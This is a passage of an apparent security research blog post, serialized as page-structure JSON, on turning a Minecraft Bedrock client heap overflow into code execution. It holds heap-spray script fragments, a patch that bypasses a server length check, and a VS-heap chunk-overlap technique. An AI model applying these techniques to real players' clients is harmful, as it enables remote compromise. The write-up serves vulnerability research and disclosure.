remove_wall",{"type":23,"tag":41,"props":151086,"children":151087},{"style":70},[151088],{"type":28,"value":1134},{"type":23,"tag":41,"props":151090,"children":151091},{"class":43,"line":23539},[151092,151096,151100],{"type":23,"tag":41,"props":151093,"children":151094},{"style":858},[151095],{"type":28,"value":150573},{"type":23,"tag":41,"props":151097,"children":151098},{"style":170},[151099],{"type":28,"value":3017},{"type":23,"tag":41,"props":151101,"children":151102},{"style":70},[151103],{"type":28,"value":150582},{"type":23,"tag":41,"props":151105,"children":151106},{"class":43,"line":23547},[151107],{"type":23,"tag":41,"props":151108,"children":151109},{"style":70},[151110],{"type":28,"value":1589},{"type":23,"tag":41,"props":151112,"children":151113},{"class":43,"line":23556},[151114,151118,151122,151126,151130,151134,151138,151142,151146,151150,151154,151158,151162,151166],{"type":23,"tag":41,"props":151115,"children":151116},{"style":58},[151117],{"type":28,"value":3034},{"type":23,"tag":41,"props":151119,"children":151120},{"style":70},[151121],{"type":28,"value":142},{"type":23,"tag":41,"props":151123,"children":151124},{"style":64},[151125],{"type":28,"value":11784},{"type":23,"tag":41,"props":151127,"children":151128},{"style":858},[151129],{"type":28,"value":150609},{"type":23,"tag":41,"props":151131,"children":151132},{"style":170},[151133],{"type":28,"value":3017},{"type":23,"tag":41,"props":151135,"children":151136},{"style":164},[151137],{"type":28,"value":392},{"type":23,"tag":41,"props":151139,"children":151140},{"style":70},[151141],{"type":28,"value":17213},{"type":23,"tag":41,"props":151143,"children":151144},{"style":858},[151145],{"type":28,"value":150626},{"type":23,"tag":41,"props":151147,"children":151148},{"style":170},[151149],{"type":28,"value":758},{"type":23,"tag":41,"props":151151,"children":151152},{"style":858},[151153],{"type":28,"value":150635},{"type":23,"tag":41,"props":151155,"children":151156},{"style":70},[151157],{"type":28,"value":17213},{"type":23,"tag":41,"props":151159,"children":151160},{"style":858},[151161],{"type":28,"value":150626},{"type":23,"tag":41,"props":151163,"children":151164},{"style":170},[151165],{"type":28,"value":51264},{"type":23,"tag":41,"props":151167,"children":151168},{"style":70},[151169],{"type":28,"value":152},{"type":23,"tag":41,"props":151171,"children":151172},{"class":43,"line":23598},[151173,151177,151181,151185,151189,151193,151197,151201,151205,151209,151213,151217,151221,151225],{"type":23,"tag":41,"props":151174,"children":151175},{"style":58},[151176],{"type":28,"value":60573},{"type":23,"tag":41,"props":151178,"children":151179},{"style":70},[151180],{"type":28,"value":142},{"type":23,"tag":41,"props":151182,"children":151183},{"style":64},[151184],{"type":28,"value":11784},{"type":23,"tag":41,"props":151186,"children":151187},{"style":858},[151188],{"type":28,"value":150671},{"type":23,"tag":41,"props":151190,"children":151191},{"style":170},[151192],{"type":28,"value":3017},{"type":23,"tag":41,"props":151194,"children":151195},{"style":164},[151196],{"type":28,"value":392},{"type":23,"tag":41,"props":151198,"children":151199},{"style":70},[151200],{"type":28,"value":17213},{"type":23,"tag":41,"props":151202,"children":151203},{"style":858},[151204],{"type":28,"value":150688},{"type":23,"tag":41,"props":151206,"children":151207},{"style":170},[151208],{"type":28,"value":758},{"type":23,"tag":41,"props":151210,"children":151211},{"style":858},[151212],{"type":28,"value":150697},{"type":23,"tag":41,"props":151214,"children":151215},{"style":70},[151216],{"type":28,"value":17213},{"type":23,"tag":41,"props":151218,"children":151219},{"style":858},[151220],{"type":28,"value":150688},{"type":23,"tag":41,"props":151222,"children":151223},{"style":170},[151224],{"type":28,"value":51264},{"type":23,"tag":41,"props":151226,"children":151227},{"style":70},[151228],{"type":28,"value":152},{"type":23,"tag":41,"props":151230,"children":151231},{"class":43,"line":23631},[151232],{"type":23,"tag":41,"props":151233,"children":151234},{"style":70},[151235],{"type":28,"value":150744},{"type":23,"tag":41,"props":151237,"children":151238},{"class":43,"line":23639},[151239,151243,151247],{"type":23,"tag":41,"props":151240,"children":151241},{"style":70},[151242],{"type":28,"value":150728},{"type":23,"tag":41,"props":151244,"children":151245},{"style":170},[151246],{"type":28,"value":9589},{"type":23,"tag":41,"props":151248,"children":151249},{"style":70},[151250],{"type":28,"value":11769},{"type":23,"tag":41,"props":151252,"children":151253},{"class":43,"line":23647},[151254],{"type":23,"tag":41,"props":151255,"children":151256},{"style":70},[151257],{"type":28,"value":151258},"             \n",{"type":23,"tag":41,"props":151260,"children":151261},{"class":43,"line":23656},[151262,151266,151270,151274,151278,151283],{"type":23,"tag":41,"props":151263,"children":151264},{"style":64},[151265],{"type":28,"value":150752},{"type":23,"tag":41,"props":151267,"children":151268},{"style":858},[151269],{"type":28,"value":150757},{"type":23,"tag":41,"props":151271,"children":151272},{"style":170},[151273],{"type":28,"value":3017},{"type":23,"tag":41,"props":151275,"children":151276},{"style":58},[151277],{"type":28,"value":36206},{"type":23,"tag":41,"props":151279,"children":151280},{"style":114},[151281],{"type":28,"value":151282}," wait_for_block",{"type":23,"tag":41,"props":151284,"children":151285},{"style":70},[151286],{"type":28,"value":3461},{"type":23,"tag":41,"props":151288,"children":151289},{"class":43,"line":23732},[151290,151295,151299,151303,151307,151311],{"type":23,"tag":41,"props":151291,"children":151292},{"style":858},[151293],{"type":28,"value":151294},"                world",{"type":23,"tag":41,"props":151296,"children":151297},{"style":70},[151298],{"type":28,"value":706},{"type":23,"tag":41,"props":151300,"children":151301},{"style":114},[151302],{"type":28,"value":150779},{"type":23,"tag":41,"props":151304,"children":151305},{"style":70},[151306],{"type":28,"value":1737},{"type":23,"tag":41,"props":151308,"children":151309},{"style":735},[151310],{"type":28,"value":150788},{"type":23,"tag":41,"props":151312,"children":151313},{"style":70},[151314],{"type":28,"value":6735},{"type":23,"tag":41,"props":151316,"children":151317},{"class":43,"line":23765},[151318],{"type":23,"tag":41,"props":151319,"children":151320},{"style":858},[151321],{"type":28,"value":151322},"                sign_location\n",{"type":23,"tag":41,"props":151324,"children":151325},{"class":43,"line":23773},[151326],{"type":23,"tag":41,"props":151327,"children":151328},{"style":70},[151329],{"type":28,"value":124832},{"type":23,"tag":41,"props":151331,"children":151332},{"class":43,"line":23781},[151333,151337,151341,151345],{"type":23,"tag":41,"props":151334,"children":151335},{"style":858},[151336],{"type":28,"value":150825},{"type":23,"tag":41,"props":151338,"children":151339},{"style":70},[151340],{"type":28,"value":706},{"type":23,"tag":41,"props":151342,"children":151343},{"style":114},[151344],{"type":28,"value":150432},{"type":23,"tag":41,"props":151346,"children":151347},{"style":70},[151348],{"type":28,"value":3461},{"type":23,"tag":41,"props":151350,"children":151351},{"class":43,"line":23818},[151352,151356,151360,151364,151368,151372],{"type":23,"tag":41,"props":151353,"children":151354},{"style":858},[151355],{"type":28,"value":150845},{"type":23,"tag":41,"props":151357,"children":151358},{"style":70},[151359],{"type":28,"value":706},{"type":23,"tag":41,"props":151361,"children":151362},{"style":114},[151363],{"type":28,"value":150453},{"type":23,"tag":41,"props":151365,"children":151366},{"style":70},[151367],{"type":28,"value":1737},{"type":23,"tag":41,"props":151369,"children":151370},{"style":735},[151371],{"type":28,"value":150462},{"type":23,"tag":41,"props":151373,"children":151374},{"style":70},[151375],{"type":28,"value":1969},{"type":23,"tag":41,"props":151377,"children":151378},{"class":43,"line":23831},[151379],{"type":23,"tag":41,"props":151380,"children":151381},{"style":70},[151382],{"type":28,"value":124832},{"type":23,"tag":41,"props":151384,"children":151385},{"class":43,"line":23844},[151386],{"type":23,"tag":41,"props":151387,"children":151388},{"emptyLinePlaceholder":18},[151389],{"type":28,"value":82},{"type":23,"tag":41,"props":151391,"children":151392},{"class":43,"line":23857},[151393,151397,151401],{"type":23,"tag":41,"props":151394,"children":151395},{"style":70},[151396],{"type":28,"value":150728},{"type":23,"tag":41,"props":151398,"children":151399},{"style":170},[151400],{"type":28,"value":9589},{"type":23,"tag":41,"props":151402,"children":151403},{"style":70},[151404],{"type":28,"value":11769},{"type":23,"tag":41,"props":151406,"children":151407},{"class":43,"line":23911},[151408],{"type":23,"tag":41,"props":151409,"children":151410},{"style":70},[151411],{"type":28,"value":3347},{"type":23,"tag":41,"props":151413,"children":151414},{"class":43,"line":23920},[151415],{"type":23,"tag":41,"props":151416,"children":151417},{"style":70},[151418],{"type":28,"value":192},{"type":23,"tag":41,"props":151420,"children":151421},{"class":43,"line":32275},[151422],{"type":23,"tag":41,"props":151423,"children":151424},{"style":70},[151425],{"type":28,"value":201},{"type":23,"tag":41,"props":151427,"children":151428},{"class":43,"line":32296},[151429],{"type":23,"tag":41,"props":151430,"children":151431},{"emptyLinePlaceholder":18},[151432],{"type":28,"value":82},{"type":23,"tag":41,"props":151434,"children":151435},{"class":43,"line":80946},[151436,151441,151445,151450,151454,151459,151463,151468,151472,151477,151481,151485],{"type":23,"tag":41,"props":151437,"children":151438},{"style":858},[151439],{"type":28,"value":151440},"world",{"type":23,"tag":41,"props":151442,"children":151443},{"style":70},[151444],{"type":28,"value":706},{"type":23,"tag":41,"props":151446,"children":151447},{"style":858},[151448],{"type":28,"value":151449},"afterEvents",{"type":23,"tag":41,"props":151451,"children":151452},{"style":70},[151453],{"type":28,"value":706},{"type":23,"tag":41,"props":151455,"children":151456},{"style":858},[151457],{"type":28,"value":151458},"playerSpawn",{"type":23,"tag":41,"props":151460,"children":151461},{"style":70},[151462],{"type":28,"value":706},{"type":23,"tag":41,"props":151464,"children":151465},{"style":114},[151466],{"type":28,"value":151467},"subscribe",{"type":23,"tag":41,"props":151469,"children":151470},{"style":70},[151471],{"type":28,"value":31517},{"type":23,"tag":41,"props":151473,"children":151474},{"style":858},[151475],{"type":28,"value":151476},"arg",{"type":23,"tag":41,"props":151478,"children":151479},{"style":70},[151480],{"type":28,"value":866},{"type":23,"tag":41,"props":151482,"children":151483},{"style":64},[151484],{"type":28,"value":14813},{"type":23,"tag":41,"props":151486,"children":151487},{"style":70},[151488],{"type":28,"value":102},{"type":23,"tag":41,"props":151490,"children":151491},{"class":43,"line":80959},[151492,151497],{"type":23,"tag":41,"props":151493,"children":151494},{"style":114},[151495],{"type":28,"value":151496},"    create_wall",{"type":23,"tag":41,"props":151498,"children":151499},{"style":70},[151500],{"type":28,"value":3669},{"type":23,"tag":41,"props":151502,"children":151503},{"class":43,"line":80967},[151504],{"type":23,"tag":41,"props":151505,"children":151506},{"style":70},[151507],{"type":28,"value":35332},{"type":23,"tag":41,"props":151509,"children":151510},{"class":43,"line":80975},[151511],{"type":23,"tag":41,"props":151512,"children":151513},{"emptyLinePlaceholder":18},[151514],{"type":28,"value":82},{"type":23,"tag":41,"props":151516,"children":151517},{"class":43,"line":80983},[151518,151522,151526,151531,151535,151540,151544,151548,151552,151556,151560,151564,151568,151572],{"type":23,"tag":41,"props":151519,"children":151520},{"style":858},[151521],{"type":28,"value":151440},{"type":23,"tag":41,"props":151523,"children":151524},{"style":70},[151525],{"type":28,"value":706},{"type":23,"tag":41,"props":151527,"children":151528},{"style":858},[151529],{"type":28,"value":151530},"beforeEvents",{"type":23,"tag":41,"props":151532,"children":151533},{"style":70},[151534],{"type":28,"value":706},{"type":23,"tag":41,"props":151536,"children":151537},{"style":858},[151538],{"type":28,"value":151539},"playerLeave",{"type":23,"tag":41,"props":151541,"children":151542},{"style":70},[151543],{"type":28,"value":706},{"type":23,"tag":41,"props":151545,"children":151546},{"style":114},[151547],{"type":28,"value":151467},{"type":23,"tag":41,"props":151549,"children":151550},{"style":70},[151551],{"type":28,"value":1737},{"type":23,"tag":41,"props":151553,"children":151554},{"style":64},[151555],{"type":28,"value":36140},{"type":23,"tag":41,"props":151557,"children":151558},{"style":70},[151559],{"type":28,"value":142},{"type":23,"tag":41,"props":151561,"children":151562},{"style":858},[151563],{"type":28,"value":151476},{"type":23,"tag":41,"props":151565,"children":151566},{"style":70},[151567],{"type":28,"value":866},{"type":23,"tag":41,"props":151569,"children":151570},{"style":64},[151571],{"type":28,"value":14813},{"type":23,"tag":41,"props":151573,"children":151574},{"style":70},[151575],{"type":28,"value":102},{"type":23,"tag":41,"props":151577,"children":151578},{"class":43,"line":81023},[151579,151584],{"type":23,"tag":41,"props":151580,"children":151581},{"style":114},[151582],{"type":28,"value":151583},"    remove_wall",{"type":23,"tag":41,"props":151585,"children":151586},{"style":70},[151587],{"type":28,"value":3669},{"type":23,"tag":41,"props":151589,"children":151590},{"class":43,"line":81031},[151591],{"type":23,"tag":41,"props":151592,"children":151593},{"style":70},[151594],{"type":28,"value":35332},{"type":23,"tag":24,"props":151596,"children":151597},{},[151598],{"type":28,"value":151599},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":23,"tag":24,"props":151601,"children":151602},{},[151603],{"type":23,"tag":3918,"props":151604,"children":151607},{"alt":151605,"src":151606},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":23,"tag":24,"props":151609,"children":151610},{},[151611],{"type":28,"value":151612},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":23,"tag":18881,"props":151614,"children":151616},{"id":151615},"a-small-roadblock",[151617],{"type":28,"value":151618},"A Small Roadblock",{"type":23,"tag":24,"props":151620,"children":151621},{},[151622],{"type":28,"value":151623},"While testing our heap spray method, we encountered the following error:",{"type":23,"tag":31,"props":151625,"children":151627},{"code":151626},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n    at alloc (index.js:169)\n",[151628],{"type":23,"tag":37,"props":151629,"children":151630},{"__ignoreMap":7},[151631],{"type":28,"value":151626},{"type":23,"tag":24,"props":151633,"children":151634},{},[151635,151637,151643],{"type":28,"value":151636},"An error is thrown by the server executable while trying to assign text longer than ",{"type":23,"tag":37,"props":151638,"children":151640},{"className":151639},[],[151641],{"type":28,"value":151642},"512",{"type":28,"value":151644}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":23,"tag":24,"props":151646,"children":151647},{},[151648],{"type":28,"value":151649},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":23,"tag":24,"props":151651,"children":151652},{},[151653],{"type":28,"value":151654},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":23,"tag":24,"props":151656,"children":151657},{},[151658],{"type":23,"tag":3918,"props":151659,"children":151661},{"alt":50573,"src":151660},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":23,"tag":24,"props":151663,"children":151664},{},[151665,151667,151673],{"type":28,"value":151666},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":23,"tag":37,"props":151668,"children":151670},{"className":151669},[],[151671],{"type":28,"value":151672},"string_length \u003C= 512",{"type":28,"value":151674}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":23,"tag":24,"props":151676,"children":151677},{},[151678],{"type":28,"value":151679},"The disassembly of the comparison looks like this:",{"type":23,"tag":24,"props":151681,"children":151682},{},[151683],{"type":23,"tag":3918,"props":151684,"children":151686},{"alt":50573,"src":151685},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":23,"tag":24,"props":151688,"children":151689},{},[151690,151692,151697,151699,151704,151705,151710,151712,151718,151720,151726,151728,151733,151735,151740],{"type":28,"value":151691},"The code compares ",{"type":23,"tag":37,"props":151693,"children":151695},{"className":151694},[],[151696],{"type":28,"value":56770},{"type":28,"value":151698}," (the string length) to ",{"type":23,"tag":37,"props":151700,"children":151702},{"className":151701},[],[151703],{"type":28,"value":127532},{"type":28,"value":142},{"type":23,"tag":37,"props":151706,"children":151708},{"className":151707},[],[151709],{"type":28,"value":151642},{"type":28,"value":151711}," decimal). It then performs a ",{"type":23,"tag":37,"props":151713,"children":151715},{"className":151714},[],[151716],{"type":28,"value":151717},"jbe",{"type":28,"value":151719},", jumping to address ",{"type":23,"tag":37,"props":151721,"children":151723},{"className":151722},[],[151724],{"type":28,"value":151725},"0x14275114c",{"type":28,"value":151727}," if ",{"type":23,"tag":37,"props":151729,"children":151731},{"className":151730},[],[151732],{"type":28,"value":56770},{"type":28,"value":151734}," is less than or equal to ",{"type":23,"tag":37,"props":151736,"children":151738},{"className":151737},[],[151739],{"type":28,"value":151642},{"type":28,"value":151741},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":23,"tag":24,"props":151743,"children":151744},{},[151745,151747,151752,151754,151760],{"type":28,"value":151746},"To force execution down this path, we patched the ",{"type":23,"tag":37,"props":151748,"children":151750},{"className":151749},[],[151751],{"type":28,"value":151717},{"type":28,"value":151753}," instruction to an unconditional ",{"type":23,"tag":37,"props":151755,"children":151757},{"className":151756},[],[151758],{"type":28,"value":151759},"jmp",{"type":28,"value":151761},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":23,"tag":24,"props":151763,"children":151764},{},[151765],{"type":23,"tag":3918,"props":151766,"children":151768},{"alt":50573,"src":151767},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":23,"tag":24,"props":151770,"children":151771},{},[151772,151774,151779,151781,151786],{"type":28,"value":151773},"After patching the server and calling ",{"type":23,"tag":37,"props":151775,"children":151777},{"className":151776},[],[151778],{"type":28,"value":149883},{"type":28,"value":151780}," with a size of ",{"type":23,"tag":37,"props":151782,"children":151784},{"className":151783},[],[151785],{"type":28,"value":58144},{"type":28,"value":151787},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":23,"tag":24,"props":151789,"children":151790},{},[151791],{"type":23,"tag":3918,"props":151792,"children":151794},{"alt":50573,"src":151793},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":23,"tag":442,"props":151796,"children":151797},{},[],{"type":23,"tag":24,"props":151799,"children":151800},{},[151801],{"type":28,"value":151802},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":23,"tag":24,"props":151804,"children":151805},{},[151806],{"type":28,"value":151807},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":23,"tag":546,"props":151809,"children":151811},{"id":151810},"overlapping-heap-chunks",[151812],{"type":28,"value":151813},"Overlapping Heap Chunks",{"type":23,"tag":24,"props":151815,"children":151816},{},[151817,151819,151824],{"type":28,"value":151818},"The attack is described in detail in the referenced blog post (",{"type":23,"tag":458,"props":151820,"children":151822},{"href":149627,"rel":151821},[462],[151823],{"type":28,"value":47578},{"type":28,"value":151825},"), so we will present a high-level overview.",{"type":23,"tag":24,"props":151827,"children":151828},{},[151829,151831,151837],{"type":28,"value":151830},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":23,"tag":37,"props":151832,"children":151834},{"className":151833},[],[151835],{"type":28,"value":151836},"_HEAP_VS_CHUNK_HEADER",{"type":28,"value":151838}," structure layout is required:",{"type":23,"tag":31,"props":151840,"children":151842},{"code":151841},"     +---------------------------+           +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |\n     +---------------------------+           +---------------+\n+0x8 |EncodedSegmentPageOffset   |      +0x2 |UnsafeSize     |\n     +---------------------------+           +---------------+\n+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |\n     +---------------------------+           +---------------+\n     |           . . .           |      +0x6 |Allocated      |\n                                             +---------------+\n                                             |     . . .     |\n",[151843],{"type":23,"tag":37,"props":151844,"children":151845},{"__ignoreMap":7},[151846],{"type":28,"value":151841},{"type":23,"tag":24,"props":151848,"children":151849},{},[151850,151852,151858,151860,151866,151867,151873,151874,151880,151882,151887,151889,151894,151896,151902,151904,151909,151911,151917],{"type":28,"value":151851},"At offset 0 there is a header ",{"type":23,"tag":37,"props":151853,"children":151855},{"className":151854},[],[151856],{"type":28,"value":151857},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":28,"value":151859}," containing fields such as ",{"type":23,"tag":37,"props":151861,"children":151863},{"className":151862},[],[151864],{"type":28,"value":151865},"MemoryCost",{"type":28,"value":970},{"type":23,"tag":37,"props":151868,"children":151870},{"className":151869},[],[151871],{"type":28,"value":151872},"UnsafeSize",{"type":28,"value":970},{"type":23,"tag":37,"props":151875,"children":151877},{"className":151876},[],[151878],{"type":28,"value":151879},"UnsafePrevSize",{"type":28,"value":151881},", etc. For the attack we only care about the ",{"type":23,"tag":37,"props":151883,"children":151885},{"className":151884},[],[151886],{"type":28,"value":151872},{"type":28,"value":151888}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":23,"tag":37,"props":151890,"children":151892},{"className":151891},[],[151893],{"type":28,"value":126155},{"type":28,"value":151895},", so for a chunk of size ",{"type":23,"tag":37,"props":151897,"children":151899},{"className":151898},[],[151900],{"type":28,"value":151901},"0x4010",{"type":28,"value":151903}," the value of ",{"type":23,"tag":37,"props":151905,"children":151907},{"className":151906},[],[151908],{"type":28,"value":151872},{"type":28,"value":151910}," would be ",{"type":23,"tag":37,"props":151912,"children":151914},{"className":151913},[],[151915],{"type":28,"value":151916},"0x401",{"type":28,"value":706},{"type":23,"tag":24,"props":151919,"children":151920},{},[151921,151922,151927],{"type":28,"value":64212},{"type":23,"tag":37,"props":151923,"children":151925},{"className":151924},[],[151926],{"type":28,"value":151872},{"type":28,"value":151928}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":23,"tag":24,"props":151930,"children":151931},{},[151932,151934,151939,151941,151946,151948,151954,151956,151961],{"type":28,"value":151933},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":23,"tag":37,"props":151935,"children":151937},{"className":151936},[],[151938],{"type":28,"value":151872},{"type":28,"value":151940}," in the smallest possible VS chunk (",{"type":23,"tag":37,"props":151942,"children":151944},{"className":151943},[],[151945],{"type":28,"value":151901},{"type":28,"value":151947},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":23,"tag":37,"props":151949,"children":151951},{"className":151950},[],[151952],{"type":28,"value":151953},"[0x10, 0xffff0]",{"type":28,"value":151955}," range, the probability that it exceeds ",{"type":23,"tag":37,"props":151957,"children":151959},{"className":151958},[],[151960],{"type":28,"value":151901},{"type":28,"value":151962}," is:",{"type":23,"tag":31,"props":151964,"children":151966},{"code":151965},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[151967],{"type":23,"tag":37,"props":151968,"children":151969},{"__ignoreMap":7},[151970],{"type":28,"value":151965},{"type":23,"tag":24,"props":151972,"children":151973},{},[151974],{"type":28,"value":151975},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":23,"tag":24,"props":151977,"children":151978},{},[151979],{"type":28,"value":151980},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":23,"tag":18881,"props":151982,"children":151984},{"id":151983},"overlap-attack-overview",[151985],{"type":28,"value":151986},"Overlap Attack Overview",{"type":23,"tag":24,"props":151988,"children":151989},{},[151990,151992,151997],{"type":28,"value":151991},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":23,"tag":37,"props":151993,"children":151995},{"className":151994},[],[151996],{"type":28,"value":126178},{"type":28,"value":151998}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":23,"tag":24,"props":152000,"children":152001},{},[152002,152004,152009,152011,152016],{"type":28,"value":152003},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":23,"tag":37,"props":152005,"children":152007},{"className":152006},[],[152008],{"type":28,"value":147886},{"type":28,"value":152010},"-sized chunks in the free list that we want to avoid. If a ",{"type":23,"tag":37,"props":152012,"children":152014},{"className":152013},[],[152015],{"type":28,"value":147886},{"type":28,"value":152017},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":23,"tag":24,"props":152019,"children":152020},{},[152021,152023,152028],{"type":28,"value":152022},"To remove those ",{"type":23,"tag":37,"props":152024,"children":152026},{"className":152025},[],[152027],{"type":28,"value":147886},{"type":28,"value":152029},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":23,"tag":24,"props":152031,"children":152032},{},[152033],{"type":28,"value":152034},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":23,"tag":31,"props":152036,"children":152038},{"code":152037},"+--------+--------+--------+--------+--------+\n|        |        |        |        |        |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n|        |        |        |        |        |\n+--------+--------+--------+--------+--------+\n",[152039],{"type":23,"tag":37,"props":152040,"children":152041},{"__ignoreMap":7},[152042],{"type":28,"value":152037},{"type":23,"tag":24,"props":152044,"children":152045},{},[152046,152048,152053,152055,152060],{"type":28,"value":152047},"Next we create ",{"type":23,"tag":2913,"props":152049,"children":152050},{},[152051],{"type":28,"value":152052},"holes",{"type":28,"value":152054}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":23,"tag":37,"props":152056,"children":152058},{"className":152057},[],[152059],{"type":28,"value":147886},{"type":28,"value":152061},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":23,"tag":31,"props":152063,"children":152065},{"code":152064},"            Free              Free            \n+--------+--------+--------+--------+--------+\n|        |........|        |........|        |\n| Sign A |........| Sign C |........| Sign F |\n|        |........|        |........|        |\n+--------+--------+--------+--------+--------+\n",[152066],{"type":23,"tag":37,"props":152067,"children":152068},{"__ignoreMap":7},[152069],{"type":28,"value":152064},{"type":23,"tag":24,"props":152071,"children":152072},{},[152073,152075,152080,152082,152087],{"type":28,"value":152074},"When a ",{"type":23,"tag":37,"props":152076,"children":152078},{"className":152077},[],[152079],{"type":28,"value":147886},{"type":28,"value":152081}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":23,"tag":37,"props":152083,"children":152085},{"className":152084},[],[152086],{"type":28,"value":151872},{"type":28,"value":152088}," field will be overwritten:",{"type":23,"tag":31,"props":152090,"children":152092},{"code":152091},"                           +--------+         \n            Free           |        |         \n+--------+--------+--------+ g->out +--------+\n|        |........|        |        |        |\n| Sign A |........| Sign C +--------+ Sign F |\n|        |........|        |        |        |\n+--------+--------+--------+        +--------+\n",[152093],{"type":23,"tag":37,"props":152094,"children":152095},{"__ignoreMap":7},[152096],{"type":28,"value":152091},{"type":23,"tag":24,"props":152098,"children":152099},{},[152100,152102,152107,152109,152114,152116,152121],{"type":28,"value":152101},"Once ",{"type":23,"tag":37,"props":152103,"children":152105},{"className":152104},[],[152106],{"type":28,"value":151872},{"type":28,"value":152108}," has been overwritten, ",{"type":23,"tag":37,"props":152110,"children":152112},{"className":152111},[],[152113],{"type":28,"value":147886},{"type":28,"value":152115}," allocation is freed immediately after, restoring the previous layout but with ",{"type":23,"tag":37,"props":152117,"children":152119},{"className":152118},[],[152120],{"type":28,"value":151872},{"type":28,"value":152122}," field corrupted:",{"type":23,"tag":31,"props":152124,"children":152126},{"code":152125},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n            Free              Free      |           \n+--------+--------+--------+--------+---+----+      \n|        |........|        |........|        |      \n| Sign A |........| Sign C |........| Sign F |      \n|        |........|        |........|        |      \n+--------+--------+--------+--------+--------+      \n",[152127],{"type":23,"tag":37,"props":152128,"children":152129},{"__ignoreMap":7},[152130],{"type":28,"value":152125},{"type":23,"tag":24,"props":152132,"children":152133},{},[152134],{"type":28,"value":152135},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":23,"tag":31,"props":152137,"children":152139},{"code":152138},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n                                        |           \n+--------+--------+--------+--------+---+----+      \n|        |        |        |        |        |      \n| Sign A | Sign B | Sign C | Sign D | Sign F |      \n|        |        |        |        |        |      \n+--------+--------+--------+--------+--------+      \n",[152140],{"type":23,"tag":37,"props":152141,"children":152142},{"__ignoreMap":7},[152143],{"type":28,"value":152138},{"type":23,"tag":24,"props":152145,"children":152146},{},[152147],{"type":28,"value":152148},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":23,"tag":31,"props":152150,"children":152152},{"code":152151},"                                       Freed Overwritten   \n                                               |           \n                                    +----------+----------+\n                                    |                     |\n   Free              Free           v                     v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........|        |........|        |........|             \n|........| Sign B |........| Sign D |........| Other chunks\n|........|        |........|        |........|             \n+--------+--------+--------+--------+--------+- - - - - - -\n",[152153],{"type":23,"tag":37,"props":152154,"children":152155},{"__ignoreMap":7},[152156],{"type":28,"value":152151},{"type":23,"tag":442,"props":152158,"children":152159},{},[],{"type":23,"tag":24,"props":152161,"children":152162},{},[152163],{"type":28,"value":152164},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":23,"tag":24,"props":152166,"children":152167},{},[152168],{"type":28,"value":152169},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":23,"tag":546,"props":152171,"children":152173},{"id":152172},"molang",[152174],{"type":28,"value":152175},"Molang",{"type":23,"tag":24,"props":152177,"children":152178},{},[152179,152181,152188],{"type":28,"value":152180},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official 